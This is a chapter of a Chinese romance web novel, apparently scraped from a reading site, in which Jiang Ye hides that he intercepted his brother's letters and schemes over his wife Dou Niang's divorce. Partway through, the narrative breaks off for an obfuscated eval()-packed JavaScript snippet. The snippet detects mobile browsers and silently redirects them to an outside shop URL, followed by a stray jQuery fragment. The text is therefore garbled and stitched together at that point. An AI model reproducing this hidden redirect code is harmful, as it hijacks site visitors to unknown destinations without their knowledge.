文趣网 > 其他小说 > 今天夫人改嫁了吗? > 31. 第 31 章
    以她对江野的了解,这家伙确实贪慕虚荣,好吃懒做。

    现在还加了一条:好色。

    连从小一起长大的她都不放过,可见人品低劣。

    想与她快些断了,早些找个有钱寡妇,少奋斗二十年也不是不可能。

    豆娘没什么亲人,只要江野对她别存占便宜的心思,她还是可以把他当哥哥看待。

    “真的?戴这个真好看?”豆娘抬眼笑。

    女子往发髻上比划银钗的动作落入江野的眼中,他的嘴角不自觉勾起,傻笑着点头回应:

    “好看,真好看。”

    豆娘没再多想,绕开他仔细将银钗插在发髻中,这还是她头一回真的戴上这对银钗。

    双螺髻一边一个,她小声开玩笑:“江野,像不像京城里未出阁的小姐?”

    江野的目光就没挪开,一向不怎么会对女子说暖心话的他,笑着说:“未出阁的小姐见了不少,没你好看。”

    豆娘回头笑意收了起来,“贫嘴。”

    她起身提起裙摆跑出了屋子,见身后没人跟上来,回眸道:

    “江野,走啊!爹都在巷子里等着了,快些将礼哥迎回来,咱们也好断了。”

    某人闻言一脸春色消失了个干净。

    摆手:“你们走得慢先去吧,我跑得快,要是一起你们磨磨蹭蹭的,我不得无聊死?”

    豆娘不疑有他,小时候江野就是个败兴的。

    她穿着一身体面的桃粉色衣裳,戴着两个小银钗就走了。

    江野轻手轻脚的追到院门口,伸长了脑袋看他爹和豆娘。

    远处还传来江父的嘟囔声:

    “礼儿也真是的,给弟媳送对银钗当礼物,大手大脚。”

    豆娘没吱声,不敢说江野送的,毕竟让江父江母知道他藏私房钱......

    两人远去,江野这才鬼鬼祟祟的关上院门。

    迈开步子走进书房,从怀里掏出步摇,嘿嘿一笑,阴阳怪气地学豆娘说话:“等把礼哥迎回来,咱们好断了~”

    ‘啪叽’一声,他将步摇扔在桌子上,“死丫头片子还想给他做妾呢,妾妾妾,伺候人没伺候够,要不是咱俩一起长大,你别说当妾了,就是给他当通房我都不管。死丫头片子偷着乐吧,有我这么一个看不得你跳火坑的贵人。”

    江野拿出纸笔,将自己一向豪放的字迹写的小了些。

    但若是仔细一看,很明显不是豆娘的字迹。

    他弹了弹纸张空白的部位,将笔墨吹干,这才放在了步摇的上面。

    但又觉得太明显了,拿出一本‘之乎者也’盖在了上面。

    “完活儿!”

    江野拍了拍手,出门去追江父和豆娘。

    *

    贡院门口。

    一群人在这等着,江野站在其中鹤立鸡群,因为太高了,也太年轻了。

    一旁的老妇人打趣:“小郎君怎得没去参与秋闱?年轻小伙子还是得多考两次嘞!我儿子这都第三次了,长得俊以后榜下捉婿的官家小姐有的事嘞!”

    江野只是瞥了对方一眼,吊儿郎当的回:

    “因为太笨了,先生说我可以省些束脩钱,免得三四十岁落榜了既没有功名,钱也花光了,人还老了。”

    老妇人:“......”

    豆娘连忙拉了一把他的袖子,示意他不会说话别说话。

    江野倒是无所谓,照样一脸不耐烦的等在原地。

    许久。

    莘莘学子依次出来,豆娘在人群中一眼就瞧见了江礼,双眼都亮了亮。

    江礼一眼瞧到了江野,靠近后才发现江父来了。

    “爹。”江礼唤人。

    江父老脸都笑出褶子了,“儿啊!考的怎么样?有把握没?没有也没事,这恩科是增的,大不了明年咱们再考一次。”

    江礼自觉得不用了,应付着江父的话。

    父子俩好不容易说完,豆娘终于可以插上话了,结果刚开口:

    “礼——”

    哥。

    话没说完,她便被江野一屁股挤一边了,只见江野一只手搭在他哥的肩膀上,絮絮叨叨道:

    “江礼,你简直就是我们江家的希望啊!等你以后当官了,我们江家在村里可不得横着走?还有啊......”

    巴拉巴拉一堆,都是一些废话和马屁。

    江礼微微蹙起了眉,扫了眼豆娘头上的银钗,心里莫名有些不舒服,但也没说什么。

    于是......

    豆娘全程成了陪衬。

    跟在父子三人的身后,她低头看着自己新做的桃粉色衣裳,又摸了摸发髻上的银钗。

    “不好看吗?”豆娘咬着下唇。

    总觉得今儿个的衣裳也好,还是脂粉也好,都白弄了。

    直到快到家门口。

    江父背着手乐乐呵呵来了一句:“老二家的,下午让你炖的鸡,瞧瞧去,还有那烧酒,都端上来崽炒俩菜!”

    话音落下。

    江礼和豆娘的脸色瞬间变了。

    豆娘小心翼翼瞧着他,四目相对的一刻,她只看到了江礼紧蹙的眉头。

    “爹,书信里不是讲了,莫让你们乱点鸳鸯吗?”江礼的声音冷了下来。

    江父并未察觉,“什么乱点鸳鸯啊!你来京城时,特意没带豆丫儿,想着父母之命媒妁之言不适合你们读书人吗?”说着,江父一愣,“你啥时候捎书信了?”

    这番话说的漂亮是漂亮,但豆娘对自己和江野颇为同情。

    她盼着江礼说句话。

    江礼眉头锁得更深了,刚要开口,江野一把拉住他的胳膊,将人往外拉。

    “豆娘,做饭做饭,爹,我与我哥唠唠。”

    豆娘急了,“哎——”

    “豆丫儿,做菜,野儿也长大了,知道跟自己亲哥亲昵些了,兄弟俩劲儿往一块使,江家才能越来越好啊!”江父见江野这么上道儿,更没有跟他哥说些风凉话,甚感欣慰。

    豆娘:“......”

    衣袖里,她的手紧了紧,但到底不敢反抗,只期盼着江野能好好说。

    至少他俩的目的是一致的。

    都是为了和离。

    她去做菜了。

    殊不知,江野一出门,就小声开口:“哥,我的好哥哥呐!你这个劲头可千万别说什么,爹正高兴呢,吃完这顿饭明儿个了再说行不行?”

    江礼眼眸少有的打量了一下江野。

    沉声道:“怎么回事?”

    江野实话实说了,官府文书,以及带豆娘来京城。

    他拍了拍江礼的肩膀,叹了口气:“哥啊!我就是影响你科考,我也没办法啊!谁知道回去一趟就多了个媳妇?”

    但江礼准确的从他眼里看到了得意。

    他抿着唇,只说:“书信是你截了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718077|206972||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    江野脸皮厚的发指,“昂!我不截,哪有这么久的安生日子?”

    江礼,“如今,你想怎么办?”

    江野心虚的摸了摸鼻子,“听豆娘的呗!我都行,我反正又没什么心上人。”

    江礼冷嗤一声,眼底全是寒意。

    他都不需要用脑子想,就能知道江野为何从一开始想给他下药,变成了现在的‘都成’。

    豆娘她......本身就是个很容易让人喜欢上的姑娘。

    尤其、这两年她出落的愈发水灵了。

    “明日写好放妻书,我盯着你写。”江礼注视着他,一字一句说道。

    江野打着哈哈,“这不合适吧?村里人都知道了。”

    江礼没理会,只是垂下眸子整理着衣袖,“江家二郎一向纨绔,违背父母之命,媒妁之言,有什么问题吗?江家童养媳兢兢业业伺候公婆十余年,只因纨绔,让其沦落为下堂妇,我这个做兄长的,自然可以为其讨回、公道。”

    话音落下。

    江野指了指自己,“啥意思?我的意思是我都行!”

    江礼抬眸,“按我说的做。”

    江野明白了。

    “你要夺弟妻?”他的脸绿了,这次是真绿了。

    凭甚从小到大这么欺负他啊!

    江礼,“我做不出那样的勾当。”

    江野:“?”

    说完,江礼没再解释什么,转而进了院内,与江啸拉着家常,时不时的,他朝厨房的方向看上一眼。

    此时。

    江野叉着腰站在院子外,心里堵的慌,呼气吸气,吸气呼气。

    他还是很生气啊!

    他一拳砸在院墙上。

    有点疼,一开始还好,没一会,他微张开嘴,甩着手,“好疼好疼,打在人身上没这么疼,怎么打墙上这么疼?嘶~~”

    *

    一顿饭所有人都吃的各怀心事,唯有江啸是真心为大儿子高兴啊!

    “儿啊!你三岁就开蒙,这些年苦了你了,这下总算要熬出头喽!”

    江啸脸上泛着红,明显喝醉了。

    “嗯,爹,早些歇了吧,我扶您去休息。”江礼站起身扶着江啸,还特意看了眼豆娘。

    豆娘连忙朝主屋指了指。

    随后,她这才得了空,小声问江野:“你给礼哥说了没?他啥时候给爹说?”

    江野筷子倒着饭,一顿酒只有他与江啸是真的在喝。

    他扭头眯着眼看着豆娘,一手撑着脑袋,借着喝了酒的由头开口:“不知道啊!你今儿个去哪个屋睡啊?我的东屋儿?还是书房?”

    豆娘一愣,咬着唇。

    红着脸小声回:“礼哥应该会与你一起睡。”

    不然呢?

    总不能真让她去选一个吧?

    “我不跟他睡,我已经不依赖哥哥了,我长大了。”江野凑近她。

    酒香味儿和他身上清爽的皂角味扑面而来,江野......离她的脸有些近了。

    豆娘被这句话整的有些不知所措,江野什么时候依赖过江礼?从小不都是去江礼屋子里巡视。

    挑着他喜欢的了,就问:‘哥!这个还要不?不要给我!’

    不等她反应,江野指尖戳在她的唇上。

    声音很轻地问:“你要是去书房睡,我哥亲你的话,你会骂他畜生吗?”

    豆娘:“???”